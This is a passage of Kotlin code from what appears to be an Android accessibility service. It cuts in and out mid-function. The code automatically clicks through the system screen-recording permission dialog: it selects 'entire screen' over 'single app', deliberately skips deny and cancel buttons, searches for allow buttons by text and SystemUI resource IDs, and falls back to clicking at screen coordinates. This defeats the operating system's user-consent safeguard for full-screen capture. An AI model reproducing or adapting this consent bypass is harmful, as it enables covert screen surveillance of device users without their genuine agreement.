                    val isRejectButton = buttonText.contains("cancel") || buttonText.contains("取消") ||
                                       buttonText.contains("deny") || buttonText.contains("拒绝") ||
                                       buttonText.contains("不允许")
                    
                    if (isRejectButton) {
                        Log.w(TAG, "❌ 跳过拒绝按钮: '${button.text}'")
                        continue
                    }
                    
                    if (button.isClickable || button.className == "android.widget.Button") {
                        val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 Android 15全屏模式下成功点击确认按钮: '$text'")
                            return true
                        }
                    }
                    // 节点本身不可点击时，尝试点击可点击的父节点
                    val clickableParent = findClickableParentOrSibling(button)
                    if (clickableParent != null) {
                        val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 Android 15全屏模式下通过父节点成功点击确认按钮: '$text'")
                            return true
                        }
                    }
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ Android 15全屏选择后确认处理失败", e)
            return false
        }
    }
    
    /**
     * 查找可点击的父节点或兄弟节点
     */
    private fun findClickableParentOrSibling(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        // 检查节点本身
        if (node.isClickable) return node
        
        // 检查父节点
        var parent = node.parent
        while (parent != null) {
            if (parent.isClickable) return parent
            parent = parent.parent
        }
        
        // 检查兄弟节点
        val nodeParent = node.parent
        if (nodeParent != null) {
            for (i in 0 until nodeParent.childCount) {
                val sibling = nodeParent.getChild(i)
                if (sibling != null && sibling.isClickable) {
                    return sibling
                }
            }
        }
        
        return null
    }
    
    /**
     * 查找并选择全屏RadioButton
     */
    private fun findAndSelectFullScreenRadioButton(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
            Log.i(TAG, "找到 ${radioButtons.size} 个RadioButton")
            
            for (radio in radioButtons) {
                val text = radio.text?.toString() ?: ""
                val contentDesc = radio.contentDescription?.toString() ?: ""
                Log.i(TAG, "RadioButton: text='$text', desc='$contentDesc', checked=${radio.isChecked}")
                
                // 查找全屏相关的RadioButton
                if (text.contains("全屏") || text.contains("Full") || text.contains("Entire") ||
                    text.contains("整个") || text.contains("完整") || text.contains("屏幕录制") ||
                    contentDesc.contains("全屏") || contentDesc.contains("Full") || 
                    contentDesc.contains("Entire") || contentDesc.contains("Screen")) {
                    
                    if (!radio.isChecked && radio.isClickable) {
                        Log.i(TAG, "✅ 尝试选择全屏RadioButton...")
                        val success = radio.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 成功选择全屏RadioButton，停止二次确认监听")
                            
                            // 立即停止二次确认监听，因为全屏模式不需要
                            stopSecondaryConfirmationListening()
                            
                            return true
                        }
                    }
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找全屏RadioButton失败", e)
            return false
        }
    }
    
    /**
     * 查找并选择全屏Spinner选项 - 增强版，支持多种下拉菜单类型
     */
    private fun findAndSelectFullScreenSpinner(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            var spinnerFound = false
            
            // 方法1: 查找标准Spinner
            val spinners = findNodesByClassName(rootNode, "android.widget.Spinner")
            Log.i(TAG, "找到 ${spinners.size} 个标准Spinner")
            
            for (spinner in spinners) {
                Log.i(TAG, "检查标准Spinner: text='${spinner.text}', desc='${spinner.contentDescription}'")
                if (spinner.isClickable) {
                    Log.i(TAG, "✅ 点击标准Spinner展开选项...")
                    val success = spinner.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                    if (success) {
                        Thread.sleep(500) // 等待选项加载
                        
                        // 查找全屏选项并点击
                        val optionSelected = selectFullScreenFromSpinnerOptions()
                        if (optionSelected) {
                            Log.i(TAG, "🎉 成功从标准Spinner选择全屏，停止二次确认监听")
                            stopSecondaryConfirmationListening()
                            return true
                        }
                    }
                }
            }
            
            // 方法2: 查找可能的下拉菜单组件（LinearLayout、RelativeLayout等）
            val dropdownCandidates = arrayOf(
                "android.widget.LinearLayout",
                "android.widget.RelativeLayout", 
                "android.widget.FrameLayout",
                "android.view.ViewGroup",
                "android.widget.ListView",
                "androidx.appcompat.widget.AppCompatSpinner"
            )
            
            for (className in dropdownCandidates) {
                val candidates = findNodesByClassName(rootNode, className)
                Log.i(TAG, "找到 ${candidates.size} 个 $className 候选下拉组件")
                
                for (candidate in candidates) {
                    val text = candidate.text?.toString() ?: ""
                    val desc = candidate.contentDescription?.toString() ?: ""
                    
                    // 检查是否可能是下拉菜单
                    val isPossibleDropdown = candidate.isClickable && (
                        text.contains("选择") || text.contains("下拉") || text.contains("菜单") ||
                        text.contains("单个应用") || text.contains("整个屏幕") ||
                        desc.contains("下拉") || desc.contains("选择") || desc.contains("菜单") ||
                        candidate.childCount > 0
                    )
                    
                    if (isPossibleDropdown) {
                        Log.i(TAG, "🔍 发现可能的下拉菜单: text='$text', desc='$desc', 子节点数=${candidate.childCount}")
                        val success = candidate.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "✅ 已点击可能的下拉菜单，等待选项加载...")
                            Thread.sleep(600) // 多等待一点时间
                            
                            val optionSelected = selectFullScreenFromSpinnerOptions()
                            if (optionSelected) {
                                Log.i(TAG, "🎉 成功从下拉菜单选择全屏，停止二次确认监听")
                                stopSecondaryConfirmationListening()
                                return true
                            }
                        }
                    }
                }
            }
            
            // 方法3: 查找包含选择文本的任何可点击组件
            val selectionTexts = arrayOf(
                "单个应用", "整个屏幕", "全屏", "选择应用", "选择屏幕",
                "Single app", "Entire screen", "Full screen", "Choose app",
                "应用", "屏幕", "App", "Screen"
            )
            
            for (selectionText in selectionTexts) {
                val nodes = findNodesByText(rootNode, selectionText)
                Log.i(TAG, "查找选择文本 '$selectionText' 找到 ${nodes.size} 个节点")
                
                for (node in nodes) {
                    // 查找父级的可点击容器
                    var parent = node.parent
                    while (parent != null && parent.parent != null) {
                        if (parent.isClickable) {
                            Log.i(TAG, "🔍 发现包含选择文本的可点击父容器: class=${parent.className}")
                            val success = parent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "✅ 已点击包含选择文本的容器，等待选项展开...")
                                Thread.sleep(500)
                                
                                val optionSelected = selectFullScreenFromSpinnerOptions()
                                if (optionSelected) {
                                    Log.i(TAG, "🎉 成功从选择容器选择全屏，停止二次确认监听")
                                    stopSecondaryConfirmationListening()
                                    return true
                                }
                                break
                            }
                        }
                        parent = parent.parent
                    }
                }
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找全屏Spinner失败", e)
            return false
        }
    }
    
    /**
     * 从Spinner选项中选择全屏 - 增强版，严格避免选择单个应用
     */
    private fun selectFullScreenFromSpinnerOptions(): Boolean {
        try {
            val rootNode = service.rootInActiveWindow ?: return false
            
            // 全屏选项的文本匹配（优先级排序）
            val fullScreenTexts = arrayOf(
                // 优先匹配最明确的全屏文本
                "整个屏幕", "全屏", "完整屏幕", "整屏", "全屏幕",
                "Entire screen", "Full screen", "Whole screen", "Complete screen",
                "屏幕录制", "Screen recording", "Record screen", "Cast screen"
            )
            
            // 严格禁止的单个应用文本
            val singleAppTexts = arrayOf(
                "单个应用", "单独应用", "选择应用", "特定应用", "某个应用",
                "Single app", "Select app", "Choose app", "Specific app", "Individual app"
            )
            
            Log.i(TAG, "🔍 开始查找Spinner展开后的全屏选项...")
            
            // 首先查找所有可点击的选项
            val allClickableNodes = mutableListOf<AccessibilityNodeInfo>()
            findAllClickableNodes(rootNode, allClickableNodes)
            
            Log.i(TAG, "找到 ${allClickableNodes.size} 个可点击节点，开始筛选全屏选项")
            
            // 按优先级匹配全屏选项
            for (fullScreenText in fullScreenTexts) {
                for (node in allClickableNodes) {
                    val nodeText = node.text?.toString() ?: ""
                    val nodeDesc = node.contentDescription?.toString() ?: ""
                    
                    // 检查是否匹配全屏文本
                    val matchesFullScreen = nodeText.contains(fullScreenText, ignoreCase = true) || 
                                          nodeDesc.contains(fullScreenText, ignoreCase = true)
                    
                    if (matchesFullScreen) {
                        // 严格检查：确保不包含单个应用相关文本
                        var containsSingleApp = false
                        for (singleAppText in singleAppTexts) {
                            if (nodeText.contains(singleAppText, ignoreCase = true) || 
                                nodeDesc.contains(singleAppText, ignoreCase = true)) {
                                containsSingleApp = true
                                break
                            }
                        }
                        
                        if (!containsSingleApp) {
                            Log.i(TAG, "✅ 找到合适的全屏选项: text='$nodeText', desc='$nodeDesc'")
                            val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "🎉 成功选择全屏选项: '$fullScreenText'")
                                return true
                            }
                        } else {
                            Log.w(TAG, "⚠️ 跳过包含单个应用文本的节点: text='$nodeText'")
                        }
                    }
                }
            }
            
            // 如果没有找到明确的全屏选项，查找可能的选项但要更加谨慎
            Log.i(TAG, "🔍 未找到明确的全屏选项，尝试查找可能的选项...")
            
            for (node in allClickableNodes) {
                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""
                
                // 检查是否可能是全屏选项（不明确但可能的情况）
                val mightBeFullScreen = (nodeText.contains("屏幕", ignoreCase = true) || 
                                       nodeText.contains("screen", ignoreCase = true) ||
                                       nodeText.contains("全", ignoreCase = true) ||
                                       nodeText.contains("完整", ignoreCase = true) ||
                                       nodeText.contains("entire", ignoreCase = true) ||
                                       nodeText.contains("whole", ignoreCase = true)) &&
                                       nodeText.isNotEmpty()
                
                if (mightBeFullScreen) {
                    // 严格检查：确保绝对不包含单个应用相关文本
                    var definitelySingleApp = false
                    for (singleAppText in singleAppTexts) {
                        if (nodeText.contains(singleAppText, ignoreCase = true) || 
                            nodeDesc.contains(singleAppText, ignoreCase = true)) {
                            definitelySingleApp = true
                            break
                        }
                    }
                    
                    if (!definitelySingleApp) {
                        Log.i(TAG, "🤔 发现可能的全屏选项: text='$nodeText', desc='$nodeDesc'")
                        Log.i(TAG, "⚠️ 谨慎点击可能的全屏选项...")
                        val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 谨慎选择可能的全屏选项成功")
                            return true
                        }
                    }
                }
            }
            
            Log.w(TAG, "❌ 未找到任何合适的全屏选项")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 选择Spinner全屏选项失败", e)
            return false
        }
    }
    
    /**
     * 递归查找所有可点击节点
     */
    private fun findAllClickableNodes(node: AccessibilityNodeInfo, result: MutableList<AccessibilityNodeInfo>) {
        try {
            if (node.isClickable) {
                result.add(node)
            }
            
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    findAllClickableNodes(child, result)
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "查找可点击节点时出错", e)
        }
    }
    
    /**
     * 根据类名查找节点
     */
    private fun findNodesByClassName(rootNode: AccessibilityNodeInfo, className: String): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()
        findNodesByClassNameRecursive(rootNode, className, result)
        return result
    }
    
    /**
     * 递归查找指定类名的节点
     */
    private fun findNodesByClassNameRecursive(node: AccessibilityNodeInfo, className: String, result: MutableList<AccessibilityNodeInfo>) {
        if (node.className?.toString() == className) {
            result.add(node)
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findNodesByClassNameRecursive(child, className, result)
            }
        }
    }
    
    /**
     * 处理MediaProjection权限对话框 - 优化版本，简化冷却策略
     */
    private fun handleMediaProjectionDialog(event: AccessibilityEvent) {
        val rootNode = service.rootInActiveWindow ?: return
        
        try {
            val packageName = event.packageName?.toString()
            Log.i(TAG, "🎯 处理MediaProjection权限对话框，包名: $packageName")
            
            // 🔧 Android 10 特殊处理：直接捕获页面内容并查找允许按钮
            if (Build.VERSION.SDK_INT == 29) {
                Log.i(TAG, "📱 Android 10设备：使用直接页面捕获策略")
                if (handleAndroid10MediaProjectionDialog(rootNode)) {
                    Log.i(TAG, "✅ Android 10 MediaProjection权限处理成功")
                    return
                }
            }
            
            // 🔧 更新处理时间戳，用于智能冷却期机制
            lastUserDialogProcessTime = System.currentTimeMillis()
            
            // ✅ 简化冷却策略 - 统一快速响应，避免延迟不一致
            val currentTime = System.currentTimeMillis()
            val timeSinceLastAttempt = currentTime - lastMediaProjectionAttemptTime
            
            // ✅ 优化：使用统一的快速响应策略，减少复杂条件判断
            val cooldownTime = when {
                // 首次检测到权限对话框：立即响应
                dialogDetectionCount <= 1 -> 50L                          // 首次快速响应
                // 前几次重试：快速响应
                mediaProjectionRetryCount <= 3 -> 150L                    // 前几次重试快速
                // 已检测到权限对话框：中等响应
                hasDetectedPermissionDialog -> 200L                       // 检测到对话框后快速
                // 其他情况：适中响应
                else -> 300L                                              // 其他情况适中
            }
            
            // ✅ 特殊情况：如果是窗口状态变化事件且是权限对话框，立即处理不受冷却限制
            val isWindowStateChange = event.eventType == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED
            val isPermissionDialog = isLikelyPermissionDialog(packageName)
            val shouldBypassCooldown = isWindowStateChange && isPermissionDialog && timeSinceLastAttempt > 30L // 最小30ms间隔防止重复
            
            if (timeSinceLastAttempt < cooldownTime && !shouldBypassCooldown) {
                Log.v(TAG, "⏳ 距离上次处理时间过短(${timeSinceLastAttempt}ms < ${cooldownTime}ms)，跳过本次处理")
                return
            }
            
            lastMediaProjectionAttemptTime = currentTime
            Log.i(TAG, "⚡ 开始处理权限对话框 (冷却: ${cooldownTime}ms, 检测次数: ${dialogDetectionCount}, 重试: ${mediaProjectionRetryCount}, 绕过冷却: $shouldBypassCooldown)")
            Log.i(TAG, "🔍 处理环境: packageName=$packageName, API=${Build.VERSION.SDK_INT}, requesting=$isRequestingMediaProjection")
            
            // ✅ 简化Android版本特定优化 - 减少不必要的等待
            val androidVersion = Build.VERSION.SDK_INT
            if (androidVersion >= 34) { // Android 14+（两步授权弹窗）
                Log.d(TAG, "🔧 Android ${androidVersion} 优化: 最小等待时间确保对话框加载")
                Thread.sleep(100) // 减少等待时间
            } else if (androidVersion >= 30) { // Android 11+
                Log.d(TAG, "🔧 Android 11+优化: 标准等待时间")
                Thread.sleep(80)
            } else {
                // Android 13及以下，不额外等待
                Thread.sleep(50) // 最小等待时间
            }
            
            // ✅ 权限状态检查 - 简化逻辑
            val hasPermission = hasMediaProjectionPermission()
            Log.d(TAG, "🔍 权限状态检查: hasPermission=$hasPermission")
            
            // 如果权限已获得且不是Android 15，停止自动点击
            if (hasPermission && Build.VERSION.SDK_INT < 35) {
                Log.i(TAG, "✅ MediaProjection权限已获得，停止自动点击")
                stopAutoClickingImmediately()
                return
            }
            
            // ✅ 简化系统对话框检测
            val isSystemDialog = isLikelyPermissionDialog(packageName)
            val shouldProcess = isSystemDialog || mediaProjectionRetryCount >= 2 // 降低重试阈值，从3降到2
            
            Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, retryCount=$mediaProjectionRetryCount)")
            
            if (!shouldProcess) {
                Log.v(TAG, "📋 非权限对话框且重试次数不足，跳过处理 (packageName=$packageName)")
                return
            }
            
            // ✅ 简化日志输出，减少性能影响
            if (Log.isLoggable(TAG, Log.DEBUG)) {
                Log.d(TAG, "📋 开始分析权限对话框节点结构...")
                printNodeStructure(rootNode, 0)
                Log.d(TAG, "📋 节点结构打印完成，开始自动点击策略")
            }
            
            // 🔧 Android 14+特殊处理：首先尝试选择全屏模式（Android 14引入了两步授权弹窗）
            var buttonFound = false
            var fullScreenAlreadySelected = false // 新增标志
            if (Build.VERSION.SDK_INT >= 34) {
                Log.d(TAG, "🔧 Android ${Build.VERSION.SDK_INT} 设备：首先检查是否需要选择全屏模式")
                val fullScreenSelected = handleAndroid15FullScreenSelection(rootNode)
                if (fullScreenSelected) {
                    fullScreenAlreadySelected = true // 标记已选择全屏
                    Log.i(TAG, "✅ Android ${Build.VERSION.SDK_INT} 全屏模式已选择，等待界面更新...")
                    Thread.sleep(500) // 减少等待时间，从800ms减少到500ms
                    
                    // 重新获取根节点，因为界面可能已更新
                    val updatedRootNode = service.rootInActiveWindow
                    if (updatedRootNode != null) {
                        if (Log.isLoggable(TAG, Log.DEBUG)) {
                            Log.d(TAG, "📋 Android ${Build.VERSION.SDK_INT} 全屏选择后的界面结构:")
                            printNodeStructure(updatedRootNode, 0)
                        }
                        // 使用更新后的根节点继续处理
                        buttonFound = handleAndroid15AfterFullScreenSelection(updatedRootNode)
                        if (buttonFound) {
                            Log.i(TAG, "✅ Android ${Build.VERSION.SDK_INT} 全屏选择后成功完成权限授权")
                            stopAutoClickingImmediately()
                            return
                        } else {
                            Log.i(TAG, "⚠️ Android ${Build.VERSION.SDK_INT} 全屏已选择，但暂时未找到确认按钮，跳过所有选择策略，只查找确认按钮")
                            // 全屏已选择，只需要等待确认按钮，不执行任何可能点击选择选项的策略
                        }
                    }
                }
            }
            
            // ✅ 增强的按钮查找策略 - 如果Android 14+已选择全屏，只查找确认按钮
            
            // 🔧 Android 14+全屏保护：如果已选择全屏，只查找纯确认按钮，避免误点击选择选项
            val allowTexts = if (fullScreenAlreadySelected) {
                // Android 14+已选择全屏：只查找纯确认按钮 - "立即开始"优先级最高
                arrayOf(
                    "立即开始", "Start now", "START NOW", "现在开始", "Start", "开始",
                    "Allow", "允许", "确定", "确认", "授权", "同意", "Continue", "继续",
                    "Begin recording", "Begin casting", "开始录制", "开始投屏",
                    "START", "ALLOW", "OK", "Accept", "Yes", "是", "好", "好的"
                )
            } else {
                // 普通情况：查找各种可能的允许按钮文本
                arrayOf(
                    // MediaProjection专用文本 - "立即开始"优先级最高
                    "立即开始", "Start now", "START NOW", "现在开始",
                    "Share screen", "共享屏幕", "Start", "开始",
                    
                    // Android 15/14 特定的MediaProjection文本
                    "Start recording or casting", "Allow recording", "Allow casting",
                    "Begin recording", "Begin casting", "Record screen", "Cast screen",
                    "允许录制", "允许投屏", "允许屏幕录制", "允许屏幕投屏",
                    
                    // 不同语言的MediaProjection文本
                    "开始录制", "开始屏幕录制", "开始投屏", "开始录屏", "开始捕获",
                    "Start recording", "Start capture", "Begin recording", "Record screen",
                    "Allow recording", "Start sharing", "开始共享", "允许共享",
                    
                    // 英文常见确认文本
                    "START", "ALLOW", "OK", "Allow", "Agree", "Grant", "Accept", "Yes", "Continue",
                    
                    // 中文常见确认文本
                    "允许", "确定", "确认", "授权", "同意", "是", "好", "好的", "继续",
                    "立即授权", "授予权限", "开始共享", "确认共享", "立即确认"
                )
            }
            
            val strategyName = if (fullScreenAlreadySelected) {
                "策略1-保护模式: 仅查找确认按钮（Android 14+已选择全屏）"
            } else {
                "策略1: 按文本查找按钮"
            }
            
            Log.i(TAG, "🔍 $strategyName...")
            for (text in allowTexts) {
                if (buttonFound) break
                
                val buttons = findNodesByText(rootNode, text)
                Log.d(TAG, "   查找文本 '$text' 找到 ${buttons.size} 个节点")
                
                for (button in buttons) {
                    // 🔧 Android 14+全屏保护：额外检查避免点击选择相关的文本
                    if (fullScreenAlreadySelected) {
                        val buttonText = button.text?.toString() ?: ""
                        val buttonDesc = button.contentDescription?.toString() ?: ""
                        val buttonTextLower = buttonText.lowercase()
                        
                        // 白名单：这些确认按钮文本即使包含"屏幕"等词也应该被允许点击
                        val isWhitelistedConfirmButton = buttonTextLower == "立即开始" || 
                                                        buttonTextLower == "start now" ||
                                                        buttonTextLower == "start" ||
                                                        buttonTextLower == "开始" ||
                                                        buttonTextLower == "允许" ||
                                                        buttonTextLower == "allow" ||
                                                        buttonTextLower == "确定" ||
                                                        buttonTextLower == "ok" ||
                                                        buttonTextLower == "确认" ||
                                                        buttonTextLower == "同意" ||
                                                        buttonTextLower == "继续" ||
                                                        buttonTextLower == "continue" ||
                                                        buttonTextLower == "共享屏幕" ||
                                                        buttonTextLower == "share screen"
                        
                        if (!isWhitelistedConfirmButton) {
                            // 严格禁止包含选择相关文本的按钮
                            val containsSelectionText = buttonText.contains("选择", ignoreCase = true) ||
                                                       buttonText.contains("单个", ignoreCase = true) ||
                                                       buttonText.contains("应用", ignoreCase = true) ||
                                                       buttonText.contains("整个", ignoreCase = true) ||
                                                       buttonText.contains("select", ignoreCase = true) ||
                                                       buttonText.contains("single", ignoreCase = true) ||
                                                       buttonText.contains("app", ignoreCase = true) ||
                                                       buttonText.contains("entire", ignoreCase = true) ||
                                                       buttonDesc.contains("选择", ignoreCase = true) ||
                                                       buttonDesc.contains("select", ignoreCase = true)
                            
                            if (containsSelectionText) {
                                Log.w(TAG, "   🛡️ Android 14+保护：跳过包含选择文本的按钮: '${button.text}'")
                                continue
                            }
                        }
                    }
                    
                    Log.i(TAG, "   📝 检查节点: 可点击=${button.isClickable}, 类名=${button.className}, 文本='${button.text}', enabled=${button.isEnabled}")
                    
                    // ❌ 检查是否为拒绝/取消按钮 - 使用精确匹配避免误判Start now等确认按钮
                    val buttonText = button.text?.toString()?.lowercase() ?: ""
                    val isRejectButton = buttonText == "cancel" || buttonText.contains("取消") || 
                                       buttonText == "deny" || buttonText.contains("拒绝") ||
                                       buttonText == "dismiss" || buttonText.contains("关闭") ||
                                       buttonText.contains("不允许") || buttonText.contains("禁止") ||
                                       buttonText == "no" || buttonText.contains("否") ||
                                       buttonText == "reject" || buttonText.contains("拒接")
                    
                    if (isRejectButton) {
                        Log.w(TAG, "   ❌ 跳过拒绝/取消按钮: '${button.text}'")
                        continue
                    }
                    
                    if (button.isClickable || button.className == "android.widget.Button") {
                        Log.i(TAG, "✅ 找到可点击的确认按钮: '$text'")
                        
                        val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 成功自动点击了MediaProjection允许按钮: '$text'")
                            buttonFound = true
                            // ✅ 优化：使用统一的停止方法，确保完全停止自动点击
                            stopAutoClickingImmediately()
                            break
                        } else {
                            Log.w(TAG, "⚠️ 点击失败，尝试其他方式")
                        }
                    } else {
                        // 节点本身不可点击，尝试查找可点击的父节点
                        Log.i(TAG, "   ⚠️ 节点不可点击，尝试查找可点击的父节点...")
                        val clickableParent = findClickableParentOrSibling(button)
                        if (clickableParent != null) {
                            Log.i(TAG, "✅ 通过父节点点击确认按钮: '$text'")
                            val success = clickableParent.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                            if (success) {
                                Log.i(TAG, "🎉 通过父节点成功点击了MediaProjection允许按钮: '$text'")
                                buttonFound = true
                                stopAutoClickingImmediately()
                                break
                            }
                        } else {
                            Log.i(TAG, "   ❌ 节点不可点击且无可点击父节点")
                        }
                    }
                }
            }
            
            // 策略2: 通过resourceId查找
            if (!buttonFound) {
                Log.i(TAG, "🔍 策略2: 通过resourceId查找...")
                val resourceIds = arrayOf(
                    // 标准Android对话框ID
                    "android:id/button1",         // 系统对话框的确定按钮
                    "android:id/button_positive", // 正面按钮
                    "android:id/ok",              // OK按钮
                    "android:id/allow",           // 允许按钮
                    "android:id/start",           // 开始按钮
                    
                    // SystemUI MediaProjection特定ID
                    "com.android.systemui:id/button_allow",
                    "com.android.systemui:id/allow_button",
                    "com.android.systemui:id/start_button",
                    "com.android.systemui:id/ok",
                    "com.android.systemui:id/positive",
                    "com.android.systemui:id/button_positive",
                    "com.android.systemui:id/button1",
                    "com.android.systemui:id/start_now",
                    "com.android.systemui:id/allow",
                    "com.android.systemui:id/confirm",
                    
                    // 备选ID
                    "android:id/button_once",     // 一次性权限按钮
                    "android:id/button_always"   // 总是允许按钮
                )
                
                for (resourceId in resourceIds) {
                    if (buttonFound) break
                    
                    val buttonNodes = rootNode.findAccessibilityNodeInfosByViewId(resourceId)
                    Log.d(TAG, "   通过resourceId '$resourceId' 找到 ${buttonNodes.size} 个节点")
                    
                                    for (button in buttonNodes) {
                    Log.i(TAG, "   📝 ResourceId节点: 可点击=${button.isClickable}, 文本='${button.text}', 类名=${button.className}, enabled=${button.isEnabled}")
                    
                    // ❌ 检查是否为拒绝/取消按钮 - 使用精确匹配避免误判Start now等确认按钮
                    val buttonText = button.text?.toString()?.lowercase() ?: ""
                    val isRejectButton = buttonText == "cancel" || buttonText.contains("取消") || 
                                       buttonText == "deny" || buttonText.contains("拒绝") ||
                                       buttonText == "dismiss" || buttonText.contains("关闭") ||
                                       buttonText.contains("不允许") || buttonText.contains("禁止") ||
                                       buttonText == "no" || buttonText.contains("否") ||
                                       buttonText == "reject" || buttonText.contains("拒接")
                    
                    if (isRejectButton) {
                        Log.w(TAG, "   ❌ 跳过拒绝/取消按钮: '${button.text}'")
                        continue
                    }
                    
                    if (button.isClickable || button.className == "android.widget.Button") {
                        val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (success) {
                            Log.i(TAG, "🎉 通过resourceId成功点击确认按钮: $resourceId")
                            buttonFound = true
                            isRequestingMediaProjection = false
                            break
                        } else {
                            Log.w(TAG, "⚠️ ResourceId点击失败: $resourceId")
                        }
                    } else {
                        Log.i(TAG, "   ❌ ResourceId节点不可点击或非按钮类型")
                    }
                }
                }
            }
            
            // 策略3: 查找所有可点击节点并智能匹配
            if (!buttonFound) {
                if (fullScreenAlreadySelected) {
                    Log.i(TAG, "🛡️ 策略3-保护模式: Android 14+已选择全屏，智能匹配时只查找纯确认按钮...")
                    // 在Android 14+全屏保护模式下，传递特殊标志给智能匹配函数
                    buttonFound = findAndClickSmartButtonSafe(rootNode, fullScreenAlreadySelected)
                } else {
                    Log.i(TAG, "🔍 策略3: 智能匹配所有可点击节点...")
                    buttonFound = findAndClickSmartButton(rootNode, 0).first
                }
                if (buttonFound) {
                    isRequestingMediaProjection = false
                }
            }
            
            // 策略4: 全面扫描所有按钮 - 新增策略
            if (!buttonFound) {
                if (fullScreenAlreadySelected) {
                    Log.i(TAG, "🛡️ 策略4-保护模式: Android 14+已选择全屏，扫描时只查找纯确认按钮...")
                    buttonFound = scanAllButtonsAndAnalyzeSafe(rootNode, fullScreenAlreadySelected)
                } else {
                    Log.i(TAG, "🔍 策略4: 全面扫描所有按钮并详细分析...")
                    buttonFound = scanAllButtonsAndAnalyze(rootNode)
                }
                if (buttonFound) {
                    isRequestingMediaProjection = false
                }
            }
            
            // 策略5: 二次确认页面检测（仅在特定条件下触发）
            if (!buttonFound) {
                // 🔧 Android 14+全屏保护：如果已选择全屏，跳过二次确认页面检测，避免误点击应用选择
                if (fullScreenAlreadySelected) {
                    Log.i(TAG, "🛡️ 策略5-跳过: Android 14+已选择全屏，跳过二次确认页面检测，避免误点击应用选择")
                } else {
                    Log.i(TAG, "🔍 策略5: 检测是否存在二次确认页面...")
                    buttonFound = handleSecondaryConfirmationIfNeeded(rootNode)
                    if (buttonFound) {
                        isRequestingMediaProjection = false
                    }
                }
            }
            
            // 策略6: 坐标点击兜底（参考d.g.r()的设备适配坐标方案）
            if (!buttonFound) {
                Log.i(TAG, "🎬 策略6: 使用坐标点击兜底（参考d.g.r()设备适配坐标）")
                tryMediaProjectionCoordinateClick()
                // 坐标点击是异步的，不能立即确认成功，但至少尝试了
                buttonFound = true // 假设坐标点击可能成功
            }
            
            if (buttonFound) {
                Log.i(TAG, "🎉 MediaProjection权限对话框处理成功")
                
                // ✅ 立即重置所有状态，防止继续创建MainActivity
                isRequestingMediaProjection = false
                mediaProjectionRetryCount = 0
                hasDetectedPermissionDialog = false
                dialogDetectionCount = 0
                lastDialogPackageName = null
                
                Log.i(TAG, "🔄 已重置所有权限申请状态，停止MainActivity创建循环")
                
                // ⚠️ 延迟发送权限成功广播，等待MainActivity确认
                Log.i(TAG, "⏳ 等待MainActivity权限结果确认...")
                
                // 设置一个延迟检查，如果3秒后MainActivity没有确认权限成功，则认为失败
                CoroutineScope(Dispatchers.Main).launch {
                    delay(3000)
                    
                    // 检查权限是否真的获取成功
                    if (isRequestingMediaProjection) {
                        Log.w(TAG, "⚠️ 3秒后MainActivity仍未确认权限成功，可能点击了错误按钮")
                        Log.w(TAG, "🔄 重置状态并重试或要求用户手动操作")
                        
                        // 重置状态，让系统有机会重试
                        hasDetectedPermissionDialog = false
                        dialogDetectionCount = 0
                        
                        // 增加重试计数
                        mediaProjectionRetryCount++
                        
                        if (mediaProjectionRetryCount >= maxRetryCount) {
                            Log.w(TAG, "💡 建议用户手动点击权限对话框")
                            notifyUserManualActionRequired()
                        }
                    }
                }
                
                CoroutineScope(Dispatchers.Main).launch {
                    delay(500) // 减少等待时间，更快响应
                    handleMediaProjectionGranted()
                }
            } else {
                Log.w(TAG, "⚠️ 所有策略都未能找到并点击权限按钮 (第${mediaProjectionRetryCount}次尝试)")
                
                // ✅ 达到最大重试次数时停止自动点击
                if (mediaProjectionRetryCount >= maxRetryCount) {
                    Log.w(TAG, "🛑 已达到最大重试次数($maxRetryCount)，停止自动点击")
                    Log.w(TAG, "💡 建议: 用户需要手动点击权限对话框")
                    Log.i(TAG, "📊 统计信息: 对话框检测次数=$dialogDetectionCount, 首次安装=$isFirstInstall")
                    
                    // ✅ 重置所有状态
                    isRequestingMediaProjection = false
                    hasDetectedPermissionDialog = false
                    dialogDetectionCount = 0
                    lastDialogPackageName = null
                    
                    // 通知用户需要手动操作
                    notifyUserManualActionRequired()
                } else {
                    Log.i(TAG, "⏳ 等待下次重试机会...(对话框检测次数: $dialogDetectionCount)")
                }
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理MediaProjection对话框失败", e)
        } finally {
            rootNode.recycle()
        }
    }
    
    /**
     * 智能查找并点击按钮 - 增强版
     * @return Pair<点击是否成功, 未使用>
     */
    private fun findAndClickSmartButton(node: AccessibilityNodeInfo, depth: Int): Pair<Boolean, Boolean> {
        if (depth > 10) return Pair(false, false) // 进一步增加搜索深度
        
        if (node.isClickable) {
